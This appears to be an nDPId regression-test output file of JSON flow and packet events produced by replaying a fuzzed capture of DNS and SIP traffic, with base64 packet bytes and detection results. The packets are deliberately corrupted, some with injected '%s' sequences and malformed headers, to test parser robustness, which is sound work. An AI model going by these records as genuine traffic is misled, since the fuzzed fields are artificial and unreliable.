+00468{"flow_id":162,"flow_packet_id":1,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":424,"source":"fuzz-2006-06-26-2594.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1120470457,"pkt_ts_usec":512769,"pkt_caplen":86,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":86,"pkt_l4_len":52,"pkt":"ADBUADRWAODtAW69CABFAABIa1wAAIARS\/XAqAECwKgBAQrjADUANPT5NOgBAAABAAAAAAAABFtzaXAEX3VkcANzaXAJY3liZXJjaXR5AmRrAAAhAAE="} +00658{"flow_event_id":5,"flow_event_name":"detected","thread_id":0,"packet_id":424,"source":"fuzz-2006-06-26-2594.pcap","alias":"nDPId-test","flow_id":162,"flow_packet_id":1,"flow_first_seen":1120470457512,"flow_last_seen":0,"flow_tot_l4_data_len":52,"flow_min_l4_data_len":52,"flow_max_l4_data_len":52,"flow_avg_l4_data_len":52,"midstream":0,"l3_proto":"ip4","src_ip":"192.168.1.2","dst_ip":"192.168.1.1","src_port":2787,"dst_port":53,"l4_proto":"udp","ndpi": {"proto":"DNS","breed":"Acceptable","category":"Network"},"dns": {"query":"_sip._udp.sip.cybercity.dk","num_queries":0,"num_answers":0,"reply_code":0,"query_type":33,"rsp_type":0,"rsp_addr":"0.0.0.0"}} +00468{"flow_id":162,"flow_packet_id":2,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":425,"source":"fuzz-2006-06-26-2594.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1120470459,"pkt_ts_usec":516362,"pkt_caplen":86,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":86,"pkt_l4_len":52,"pkt":"ADBUAjRWAODtAW69CABFAABIa10AAIARS\/TAqAECwKgBAQrjADUANPT5NOgBAAABAAAAAAAABF9zaXAEX3VkcANzaXAJY3liZXJjaXR5AmRrAAAhAAE="} +00468{"flow_id":162,"flow_packet_id":3,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":426,"source":"fuzz-2006-06-26-2594.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1120470461,"pkt_ts_usec":518537,"pkt_caplen":86,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":86,"pkt_l4_len":52,"pkt":"ADBUADRWAODtAW69CABFAABIa14AAFMRS\/PAqAECwKgBAQrjADUANPT5NOgBAAABAAAAAAAABF9zaXAEX3VkcAPDaXAJa3liZXJtaXR5AmRrAAAhAAE="} +00468{"flow_id":162,"flow_packet_id":4,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":427,"source":"fuzz-2006-06-26-2594.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1120470465,"pkt_ts_usec":524315,"pkt_caplen":86,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":86,"pkt_l4_len":52,"pkt":"ADBUADRWAODtAW69CABFAABIaV8AAIARS\/LAqAECwKgBAQrjADUANPT5NOgBAAABAAAAAAAABF9zaXAEX3VkcANzaXAJY3liZXJjaXR5AmRrAAAhAAE="} +00506{"flow_event_id":7,"flow_event_name":"not-detected","thread_id":0,"packet_id":428,"source":"fuzz-2006-06-26-2594.pcap","alias":"nDPId-test","flow_id":160,"flow_packet_id":1,"flow_first_seen":1120470456286,"flow_last_seen":0,"flow_tot_l4_data_len":493,"flow_min_l4_data_len":493,"flow_max_l4_data_len":493,"flow_avg_l4_data_len":493,"midstream":0,"l3_proto":"ip4","src_ip":"212.242.33.35","dst_ip":"192.168.1.2","src_port":9587,"dst_port":196,"l4_proto":"udp","ndpi": {"proto":"Unknown","breed":"Unrated"}} +00492{"flow_event_id":3,"flow_event_name":"idle","thread_id":0,"packet_id":428,"source":"fuzz-2006-06-26-2594.pcap","alias":"nDPId-test","flow_id":160,"flow_packet_id":1,"flow_first_seen":1120470456286,"flow_last_seen":0,"flow_tot_l4_data_len":493,"flow_min_l4_data_len":493,"flow_max_l4_data_len":493,"flow_avg_l4_data_len":493,"midstream":0,"l3_proto":"ip4","src_ip":"212.242.33.35","dst_ip":"192.168.1.2","src_port":9587,"dst_port":196,"l4_proto":"udp","flow_datalink":1,"flow_max_packets":15} +00497{"flow_event_id":3,"flow_event_name":"idle","thread_id":0,"packet_id":428,"source":"fuzz-2006-06-26-2594.pcap","alias":"nDPId-test","flow_id":59,"flow_packet_id":3,"flow_first_seen":1120469850980,"flow_last_seen":1120469856989,"flow_tot_l4_data_len":156,"flow_min_l4_data_len":52,"flow_max_l4_data_len":52,"flow_avg_l4_data_len":52,"midstream":0,"l3_proto":"ip4","src_ip":"192.168.1.2","dst_ip":"192.168.1.1","src_port":2734,"dst_port":53,"l4_proto":"udp","flow_datalink":1,"flow_max_packets":15} +00485{"flow_event_id":3,"flow_event_name":"idle","thread_id":0,"packet_id":428,"source":"fuzz-2006-06-26-2594.pcap","alias":"nDPId-test","flow_id":159,"flow_packet_id":1,"flow_first_seen":1120470456151,"flow_last_seen":0,"flow_tot_l4_data_len":48,"flow_min_l4_data_len":48,"flow_max_l4_data_len":48,"flow_avg_l4_data_len":48,"midstream":0,"l3_proto":"ip4","src_ip":"192.168.1.2","dst_ip":"192.168.1.3","src_port":2786,"dst_port":53,"l4_proto":"udp","flow_datalink":1,"flow_max_packets":15} +00485{"flow_event_id":3,"flow_event_name":"idle","thread_id":0,"packet_id":428,"source":"fuzz-2006-06-26-2594.pcap","alias":"nDPId-test","flow_id":161,"flow_packet_id":1,"flow_first_seen":1120470456513,"flow_last_seen":0,"flow_tot_l4_data_len":52,"flow_min_l4_data_len":52,"flow_max_l4_data_len":52,"flow_avg_l4_data_len":52,"midstream":0,"l3_proto":"ip4","src_ip":"192.168.1.2","dst_ip":"192.168.3.1","src_port":2787,"dst_port":53,"l4_proto":"udp","flow_datalink":1,"flow_max_packets":15} +00484{"flow_event_id":1,"flow_event_name":"new","thread_id":0,"packet_id":428,"source":"fuzz-2006-06-26-2594.pcap","alias":"nDPId-test","flow_id":163,"flow_packet_id":1,"flow_first_seen":1120470473526,"flow_last_seen":0,"flow_tot_l4_data_len":48,"flow_min_l4_data_len":48,"flow_max_l4_data_len":48,"flow_avg_l4_data_len":48,"midstream":0,"l3_proto":"ip4","src_ip":"192.168.1.2","dst_ip":"192.168.1.1","src_port":2788,"dst_port":53,"l4_proto":"udp","flow_datalink":1,"flow_max_packets":15} +00464{"flow_id":163,"flow_packet_id":1,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":428,"source":"fuzz-2006-06-26-2594.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1120470473,"pkt_ts_usec":526171,"pkt_caplen":82,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":82,"pkt_l4_len":48,"pkt":"ADBUADRWAODtAW69CABFAABEa2AAAIARS\/XAqAECwKgBAQrkADUAMLnxaukAAAABAAAAAAAAATEBMAEwAzEyNwdpbi1hZGRyBGFycGEAAAwAAQ=="} +00654{"flow_event_id":5,"flow_event_name":"detected","thread_id":0,"packet_id":428,"source":"fuzz-2006-06-26-2594.pcap","alias":"nDPId-test","flow_id":163,"flow_packet_id":1,"flow_first_seen":1120470473526,"flow_last_seen":0,"flow_tot_l4_data_len":48,"flow_min_l4_data_len":48,"flow_max_l4_data_len":48,"flow_avg_l4_data_len":48,"midstream":0,"l3_proto":"ip4","src_ip":"192.168.1.2","dst_ip":"192.168.1.1","src_port":2788,"dst_port":53,"l4_proto":"udp","ndpi": {"proto":"DNS","breed":"Acceptable","category":"Network"},"dns": {"query":"1.0.0.127.in-addr.arpa","num_queries":0,"num_answers":0,"reply_code":0,"query_type":12,"rsp_type":0,"rsp_addr":"0.0.0.0"}} +00453{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":429,"source":"fuzz-2006-06-26-2594.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1120470473,"pkt_ts_usec":527682,"pkt_caplen":105,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":105,"pkt_l4_len":0,"pkt":"AODtAW69ADBUADRWCABFAABbAABAJXMAtz7AqAEBwKgBAgA1CuQAR5xtaumAAAABAAEAAAAAATEBMAEwAzEyNwdpbi1hZGRyBGFycGEAAAwAAcAMAAwAAQAAJxAACwlsb2NhbGhvc3Qw"} +00186{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":429,"source":"fuzz-2006-06-26-2594.pcap","alias":"nDPId-test","l4_data_len":71} +00428{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":431,"source":"fuzz-2006-06-26-2594.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1120470473,"pkt_ts_usec":631455,"pkt_caplen":86,"pkt_type":2157,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":86,"pkt_l4_len":0,"pkt":"ADBUADRWACVzVG69CG1FAABIa2IAAIARS+\/AqAECwKgBAQrlADUANLH1d+oBAAABAAAAAAAABF9zaXAEX3VkcANzaXAJY3liZXJjaXR5AmRrAAAhAAE="} +00171{"basic_event_id":5,"basic_event_name":"Unknown Ethernet packet type","thread_id":0,"packet_id":431,"source":"fuzz-2006-06-26-2594.pcap","alias":"nDPId-test","type":2157} +01025{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":432,"source":"fuzz-2006-06-26-2594.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1120470473,"pkt_ts_usec":676412,"pkt_caplen":532,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":532,"pkt_l4_len":0,"pkt":"AODtCW69ADBUADRWCABFACVzAABAADcRiifU8iEjwKgBAhPEE8QB8jJ0U0lQLzIuMCA0MDEgbm9uY2UgaGFzIGNoYW5nZWQNCkNhbGwtSUQ6IDU3ODIyMjcyOS00NjY1ZDc3NUA1NzgyMjI3MzItNDY2NWQ3NzINCkNTZXE6IDc3IFJFR0lTVEVSDQpGcm9tOiA8c2lwOnZvaTE4MDYyQHNpcC5jeWJlcmNpdHkuZGs+O3RhZz0zYTU4MTQxDQpUbzogPHNpcDp2b2kxODA2MkBzaXAuY3liZXJjaXR5LmRrPjt0YWc9MDAtMDQwODktMTcwMWI2ODMtMThlYzGqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqg=="} +00187{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":432,"source":"fuzz-2006-06-26-2594.pcap","alias":"nDPId-test","l4_data_len":498} +00484{"flow_event_id":1,"flow_event_name":"new","thread_id":0,"packet_id":433,"source":"fuzz-2006-06-26-2594.pcap","alias":"nDPId-test","flow_id":164,"flow_packet_id":1,"flow_first_seen":1120470474627,"flow_last_seen":0,"flow_tot_l4_data_len":52,"flow_min_l4_data_len":52,"flow_max_l4_data_len":52,"flow_avg_l4_data_len":52,"midstream":0,"l3_proto":"ip4","src_ip":"192.168.1.2","dst_ip":"192.168.1.1","src_port":2789,"dst_port":53,"l4_proto":"udp","flow_datalink":1,"flow_max_packets":15} +00467{"flow_id":164,"flow_packet_id":1,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":433,"source":"fuzz-2006-06-26-2594.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1120470474,"pkt_ts_usec":627370,"pkt_caplen":86,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":86,"pkt_l4_len":52,"pkt":"ADBUADRWAODtAW69CABFAABIa2MAAIARS+7AqAECwKgBAQrlADUANLH1d+oBgAABAAAAAAAABF9zaXAEX3VkcANzaXAJY3liZXJjaXR5AmRrAAAhAAE="} +00658{"flow_event_id":5,"flow_event_name":"detected","thread_id":0,"packet_id":433,"source":"fuzz-2006-06-26-2594.pcap","alias":"nDPId-test","flow_id":164,"flow_packet_id":1,"flow_first_seen":1120470474627,"flow_last_seen":0,"flow_tot_l4_data_len":52,"flow_min_l4_data_len":52,"flow_max_l4_data_len":52,"flow_avg_l4_data_len":52,"midstream":0,"l3_proto":"ip4","src_ip":"192.168.1.2","dst_ip":"192.168.1.1","src_port":2789,"dst_port":53,"l4_proto":"udp","ndpi": {"proto":"DNS","breed":"Acceptable","category":"Network"},"dns": {"query":"_sip._udp.sip.cybercity.dk","num_queries":0,"num_answers":0,"reply_code":0,"query_type":33,"rsp_type":0,"rsp_addr":"0.0.0.0"}} +00467{"flow_id":164,"flow_packet_id":2,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":434,"source":"fuzz-2006-06-26-2594.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1120470476,"pkt_ts_usec":630255,"pkt_caplen":86,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":86,"pkt_l4_len":52,"pkt":"ADBUADRWAODtAW69CABFAABIa2QAAIARS+3AqAECwKgBAQrlADUANLH1d+oBAAABAAAAAAAABF9zaXAEX3VkcANzaXAJY3liZXJjaXR5AmRrJXMAAAE="} +00680{"flow_event_id":6,"flow_event_name":"detection-update","thread_id":0,"packet_id":434,"source":"fuzz-2006-06-26-2594.pcap","alias":"nDPId-test","flow_id":164,"flow_packet_id":2,"flow_first_seen":1120470474627,"flow_last_seen":1120470476630,"flow_tot_l4_data_len":104,"flow_min_l4_data_len":52,"flow_max_l4_data_len":52,"flow_avg_l4_data_len":52,"midstream":0,"l3_proto":"ip4","src_ip":"192.168.1.2","dst_ip":"192.168.1.1","src_port":2789,"dst_port":53,"l4_proto":"udp","ndpi": {"flow_risk": {"17":"Malformed packet"},"proto":"DNS","breed":"Acceptable","category":"Network"},"dns": {"num_queries":0,"num_answers":0,"reply_code":0,"query_type":1,"rsp_type":0,"rsp_addr":"0.0.0.0"}} +00467{"flow_id":164,"flow_packet_id":3,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":437,"source":"fuzz-2006-06-26-2594.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1120470478,"pkt_ts_usec":633445,"pkt_caplen":86,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":86,"pkt_l4_len":52,"pkt":"ADBUADRWAODtAW69CABFAABIa2UAAIARS+zAqAECwKgBAQrlADUANLH1d+oBAAABAAAAAAAABF9zaXAEX3VkcJpzaXAJY3liZXJjaXR5AmRrAAAhAAE="} +00681{"flow_event_id":6,"flow_event_name":"detection-update","thread_id":0,"packet_id":437,"source":"fuzz-2006-06-26-2594.pcap","alias":"nDPId-test","flow_id":164,"flow_packet_id":3,"flow_first_seen":1120470474627,"flow_last_seen":1120470478633,"flow_tot_l4_data_len":156,"flow_min_l4_data_len":52,"flow_max_l4_data_len":52,"flow_avg_l4_data_len":52,"midstream":0,"l3_proto":"ip4","src_ip":"192.168.1.2","dst_ip":"192.168.1.1","src_port":2789,"dst_port":53,"l4_proto":"udp","ndpi": {"flow_risk": {"17":"Malformed packet"},"proto":"DNS","breed":"Acceptable","category":"Network"},"dns": {"num_queries":0,"num_answers":0,"reply_code":0,"query_type":33,"rsp_type":0,"rsp_addr":"0.0.0.0"}} +00467{"flow_id":164,"flow_packet_id":4,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":438,"source":"fuzz-2006-06-26-2594.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1120470482,"pkt_ts_usec":638914,"pkt_caplen":86,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":86,"pkt_l4_len":52,"pkt":"bDBUADRWAODtAW69CABFAABIa2YAAIARS+vAqAECwKgBAQrlADUANLH1d+oBAAABAAAAAAAABF9zaXAEX3VkcANzaXAJY3liZXJjaXR5AmRrAAAhAAE="} +00718{"flow_event_id":6,"flow_event_name":"detection-update","thread_id":0,"packet_id":438,"source":"fuzz-2006-06-26-2594.pcap","alias":"nDPId-test","flow_id":164,"flow_packet_id":4,"flow_first_seen":1120470474627,"flow_last_seen":1120470482638,"flow_tot_l4_data_len":208,"flow_min_l4_data_len":52,"flow_max_l4_data_len":52,"flow_avg_l4_data_len":52,"midstream":0,"l3_proto":"ip4","src_ip":"192.168.1.2","dst_ip":"192.168.1.1","src_port":2789,"dst_port":53,"l4_proto":"udp","ndpi": {"flow_risk": {"17":"Malformed packet"},"proto":"DNS","breed":"Acceptable","category":"Network"},"dns": {"query":"_sip._udp.sip.cybercity.dk","num_queries":0,"num_answers":0,"reply_code":0,"query_type":33,"rsp_type":0,"rsp_addr":"0.0.0.0"}} +00485{"flow_event_id":3,"flow_event_name":"idle","thread_id":0,"packet_id":439,"source":"fuzz-2006-06-26-2594.pcap","alias":"nDPId-test","flow_id":163,"flow_packet_id":1,"flow_first_seen":1120470473526,"flow_last_seen":0,"flow_tot_l4_data_len":48,"flow_min_l4_data_len":48,"flow_max_l4_data_len":48,"flow_avg_l4_data_len":48,"midstream":0,"l3_proto":"ip4","src_ip":"192.168.1.2","dst_ip":"192.168.1.1","src_port":2788,"dst_port":53,"l4_proto":"udp","flow_datalink":1,"flow_max_packets":15} +00484{"flow_event_id":1,"flow_event_name":"new","thread_id":0,"packet_id":439,"source":"fuzz-2006-06-26-2594.pcap","alias":"nDPId-test","flow_id":165,"flow_packet_id":1,"flow_first_seen":1120470490640,"flow_last_seen":0,"flow_tot_l4_data_len":48,"flow_min_l4_data_len":48,"flow_max_l4_data_len":48,"flow_avg_l4_data_len":48,"midstream":0,"l3_proto":"ip4","src_ip":"192.168.1.2","dst_ip":"192.168.1.1","src_port":2790,"dst_port":53,"l4_proto":"udp","flow_datalink":1,"flow_max_packets":15} +00463{"flow_id":165,"flow_packet_id":1,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":439,"source":"fuzz-2006-06-26-2594.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1120470490,"pkt_ts_usec":640835,"pkt_caplen":82,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":82,"pkt_l4_len":48,"pkt":"ADBUADRWAODlAW69CABFAABEa2cAAIARS+7AqAECwKgBAQrmADUAMMHtYusAAAABAAAA6QAAATEBMAEwAzEyNwdpbi1hZGRyBGFycGEAAAwAAQ=="} +00654{"flow_event_id":5,"flow_event_name":"detected","thread_id":0,"packet_id":439,"source":"fuzz-2006-06-26-2594.pcap","alias":"nDPId-test","flow_id":165,"flow_packet_id":1,"flow_first_seen":1120470490640,"flow_last_seen":0,"flow_tot_l4_data_len":48,"flow_min_l4_data_len":48,"flow_max_l4_data_len":48,"flow_avg_l4_data_len":48,"midstream":0,"l3_proto":"ip4","src_ip":"192.168.1.2","dst_ip":"192.168.1.1","src_port":2790,"dst_port":53,"l4_proto":"udp","ndpi": {"proto":"DNS","breed":"Acceptable","category":"Network"},"dns": {"query":"1.0.0.127.in-addr.arpa","num_queries":0,"num_answers":0,"reply_code":0,"query_type":12,"rsp_type":0,"rsp_addr":"0.0.0.0"}} +00453{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":440,"source":"fuzz-2006-06-26-2594.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1120470490,"pkt_ts_usec":642320,"pkt_caplen":105,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":105,"pkt_l4_len":0,"pkt":"AJLtAW69ADBUADRWCABFAABbAABADUARtz7AqAEBwKgBAgA1CuYAR6QBYuuAAAABAAEAAAAAATEBMAEwAzEyNwdpbi1hZGRyBGFycGEAAAwAAcAMAAwAAQAAJxAACwlsb2NhbGhvc3QA"} +00186{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":440,"source":"fuzz-2006-06-26-2594.pcap","alias":"nDPId-test","l4_data_len":71} +00493{"flow_event_id":1,"flow_event_name":"new","thread_id":0,"packet_id":442,"source":"fuzz-2006-06-26-2594.pcap","alias":"nDPId-test","flow_id":166,"flow_packet_id":1,"flow_first_seen":1120470490782,"flow_last_seen":0,"flow_tot_l4_data_len":493,"flow_min_l4_data_len":493,"flow_max_l4_data_len":493,"flow_avg_l4_data_len":493,"midstream":0,"l3_proto":"ip4","src_ip":"212.242.33.35","dst_ip":"192.37.115.0","src_port":5060,"dst_port":5060,"l4_proto":"udp","flow_datalink":1,"flow_max_packets":15} +01058{"flow_id":166,"flow_packet_id":1,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":442,"source":"fuzz-2006-06-26-2594.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1120470490,"pkt_ts_usec":782704,"pkt_caplen":527,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":527,"pkt_l4_len":493,"pkt":"AODtAW69ADBUADRWCABFAAIBAABAADcRiizU8iEjwCVzABPEE8QB7RaaU0lQLzIuMCA0MDEgVW5hdXRob3JpemVkDQpDYWxsLUlEOiA1NzgyMjI3MjktNDY2NWQ3NzVANTc4MjIyNzMyLTQ2NjVkNzcyDQpDU2VxOiA3OCBSRUdJU1RFUg0KRnJvbTogPHNpcDozNTEwNDcyM0BzaXAuY3liZXJjaXR5LmRrPjt0YWc9M2EyZDBkYw0KVG86IDxzaXA6MzUxMDQ3MjNAc2lwLmN5YmVyY2l0NC5kaz47dGFnPTAwLTk0JXMALTE3MDFiNmFiLTEzOTM1YzgzNA0KVmlhOiBTSVAvMi4wL1VEUCAxOTIuMTY4LjEuMjtyYWNlaXZlZD04MC4yMzAuMjE5cjcwO3Jwb3J0PTUwNjA7YnJhbmNoPXo5SEc0YktucDYxMDAxODczLTQzYmViWWE1MTkyLjE2OC4xLjINCldXVy1BdXRoZW50aWNhdGU6IERpZ2VzdCByZWFsbT0ic2lwLmN5YmVyY2l0eS5kayIsbm9mY2U9IjE3MDFiNjliNDdiNTFjNmQ2NmM5ZTQ1MDNjNjc5YzIiLG9wYXF1ZT0iMTcwMWExMzUxZjcwNzk1IixzdGFsZT1mYWxzZSxhbGdvcml0aG30TUQ1DQpDb250ZW50Lf5lbmd0aDogMA0KDQo="} +00521{"flow_event_id":5,"flow_event_name":"detected","thread_id":0,"packet_id":442,"source":"fuzz-2006-06-26-2594.pcap","alias":"nDPId-test","flow_id":166,"flow_packet_id":1,"flow_first_seen":1120470490782,"flow_last_seen":0,"flow_tot_l4_data_len":493,"flow_min_l4_data_len":493,"flow_max_l4_data_len":493,"flow_avg_l4_data_len":493,"midstream":0,"l3_proto":"ip4","src_ip":"212.242.33.35","dst_ip":"192.37.115.0","src_port":5060,"dst_port":5060,"l4_proto":"udp","ndpi": {"proto":"SIP","breed":"Acceptable","category":"VoIP"}} +00485{"flow_event_id":1,"flow_event_name":"new","thread_id":0,"packet_id":443,"source":"fuzz-2006-06-26-2594.pcap","alias":"nDPId-test","flow_id":167,"flow_packet_id":1,"flow_first_seen":1120470491041,"flow_last_seen":0,"flow_tot_l4_data_len":52,"flow_min_l4_data_len":52,"flow_max_l4_data_len":52,"flow_avg_l4_data_len":52,"midstream":0,"l3_proto":"ip4","src_ip":"192.168.79.2","dst_ip":"192.168.1.1","src_port":2791,"dst_port":53,"l4_proto":"udp","flow_datalink":1,"flow_max_packets":15} +00466{"flow_id":167,"flow_packet_id":1,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":443,"source":"fuzz-2006-06-26-2594.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1120470491,"pkt_ts_usec":41918,"pkt_caplen":86,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":86,"pkt_l4_len":52,"pkt":"ADBUADRWAODtAW69CABFAABIa2kAAIARS+jAqE8CwKgBAQrnADUANKZlgusBAAABAAAAAAAABF9zaXAEX3VkcANzaXAJY3liZXJjaXR5AmRrAAAhAAE="} +00659{"flow_event_id":5,"flow_event_name":"detected","thread_id":0,"packet_id":443,"source":"fuzz-2006-06-26-2594.pcap","alias":"nDPId-test","flow_id":167,"flow_packet_id":1,"flow_first_seen":1120470491041,"flow_last_seen":0,"flow_tot_l4_data_len":52,"flow_min_l4_data_len":52,"flow_max_l4_data_len":52,"flow_avg_l4_data_len":52,"midstream":0,"l3_proto":"ip4","src_ip":"192.168.79.2","dst_ip":"192.168.1.1","src_port":2791,"dst_port":53,"l4_proto":"udp","ndpi": {"proto":"DNS","breed":"Acceptable","category":"Network"},"dns": {"query":"_sip._udp.sip.cybercity.dk","num_queries":0,"num_answers":0,"reply_code":0,"query_type":33,"rsp_type":0,"rsp_addr":"0.0.0.0"}} +00485{"flow_event_id":1,"flow_event_name":"new","thread_id":0,"packet_id":444,"source":"fuzz-2006-06-26-2594.pcap","alias":"nDPId-test","flow_id":168,"flow_packet_id":1,"flow_first_seen":1120470492042,"flow_last_seen":0,"flow_tot_l4_data_len":52,"flow_min_l4_data_len":52,"flow_max_l4_data_len":52,"flow_avg_l4_data_len":52,"midstream":0,"l3_proto":"ip4","src_ip":"192.168.1.53","dst_ip":"192.168.1.1","src_port":2791,"dst_port":53,"l4_proto":"udp","flow_datalink":1,"flow_max_packets":15} +00466{"flow_id":168,"flow_packet_id":1,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":444,"source":"fuzz-2006-06-26-2594.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1120470492,"pkt_ts_usec":42418,"pkt_caplen":86,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":86,"pkt_l4_len":52,"pkt":"ADBUADRWAODtAW69CABFAABIa2oAAIARS+fAqAE1wKgBAQrnADUANKbygusBAAABAAAAAAAABF9zaXAEX3VkcANzaXAJY3liZXJjaXR5AmRrAAAhAAE="} +00659{"flow_event_id":5,"flow_event_name":"detected","thread_id":0,"packet_id":444,"source":"fuzz-2006-06-26-2594.pcap","alias":"nDPId-test","flow_id":168,"flow_packet_id":1,"flow_first_seen":1120470492042,"flow_last_seen":0,"flow_tot_l4_data_len":52,"flow_min_l4_data_len":52,"flow_max_l4_data_len":52,"flow_avg_l4_data_len":52,"midstream":0,"l3_proto":"ip4","src_ip":"192.168.1.53","dst_ip":"192.168.1.1","src_port":2791,"dst_port":53,"l4_proto":"udp","ndpi": {"proto":"DNS","breed":"Acceptable","category":"Network"},"dns": {"query":"_sip._udp.sip.cybercity.dk","num_queries":0,"num_answers":0,"reply_code":0,"query_type":33,"rsp_type":0,"rsp_addr":"0.0.0.0"}} +00426{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":445,"source":"fuzz-2006-06-26-2594.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1120470494,"pkt_ts_usec":45299,"pkt_caplen":86,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":86,"pkt_l4_len":0,"pkt":"ADBUADRWAODtAW69CABFAABIayVzAIARS+bAqAECwKgBAQrnADUANKbygusBAAABAAAAAAAABF9zaXAEX3VkcANzaXAJY3liZXJjaXR5AmRrAAAhAAE="} +00186{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":445,"source":"fuzz-2006-06-26-2594.pcap","alias":"nDPId-test","l4_data_len":52} +00486{"flow_event_id":1,"flow_event_name":"new","thread_id":0,"packet_id":446,"source":"fuzz-2006-06-26-2594.pcap","alias":"nDPId-test","flow_id":169,"flow_packet_id":1,"flow_first_seen":1120470494127,"flow_last_seen":0,"flow_tot_l4_data_len":58,"flow_min_l4_data_len":58,"flow_max_l4_data_len":58,"flow_avg_l4_data_len":58,"midstream":0,"l3_proto":"ip4","src_ip":"192.168.1.2","dst_ip":"192.194.1.255","src_port":137,"dst_port":137,"l4_proto":"udp","flow_datalink":1,"flow_max_packets":15} +00484{"flow_id":169,"flow_packet_id":1,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":446,"source":"fuzz-2006-06-26-2594.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1120470494,"pkt_ts_usec":127462,"pkt_caplen":92,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":92,"pkt_l4_len":58,"pkt":"\/\/\/\/\/\/\/\/AODtAW69CABFAABOa2wAAIARSuHAqAECwMIB\/wCJAIkAOltkhTcBEAABAAAAAAAAIEVGRURFSkZQRUVFUEVORUJFSkVPQ0FDQUNBQ0FDQUJNAAAgAAE="} 